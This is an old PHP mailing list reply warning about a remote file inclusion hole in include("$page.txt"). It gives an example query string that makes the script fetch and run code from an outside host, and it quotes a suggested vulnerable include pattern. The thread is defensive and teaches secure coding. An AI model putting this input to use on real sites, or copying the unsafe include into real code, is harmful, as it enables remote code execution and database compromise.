RE: [PHP] Please Help!!!! - Really BASIC stuff!

Be very careful with this construct. It is generally a bad idea to do any sort of file opening/loading where the file name comes directly from user input. If you were naive enough to use this line: include("$page.txt"); I could call your php script with ?page=http://mysite.com/dumpyourdatabase PHP would then load and execute something like this: http://mysite.com/dumpyourdatabase.txt An entry could be added to the MySQL.User table from the code in this script allowing remote access or many other things. If you decide you really want something like this, it would be a great idea to run a regular expression on $page and erase any non-letter characters. Also, as a general reminder, make sure your database permissions are set up properly for the MySQL user your database is running under (generally they should not have access to the MySQL table, and only be allowed to insert/select/update to the database the website works with). Jon Snell -----Original Message----- From: Nick Norton [mailto:norton@azsites.com] Sent: Tuesday, March 06, 2001 3:57 PM To: php-general@lists.php.net Subject: RE: [PHP] Please Help!!!! - Really BASIC stuff! Just put the following instead of a long switch and keep your file naming conventions consistent include("side_$page.txt"); -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribe@lists.php.net For additional commands, e-mail: php-general-help@lists.php.net To contact the list administrators, e-mail: php-list-admin@lists.php.net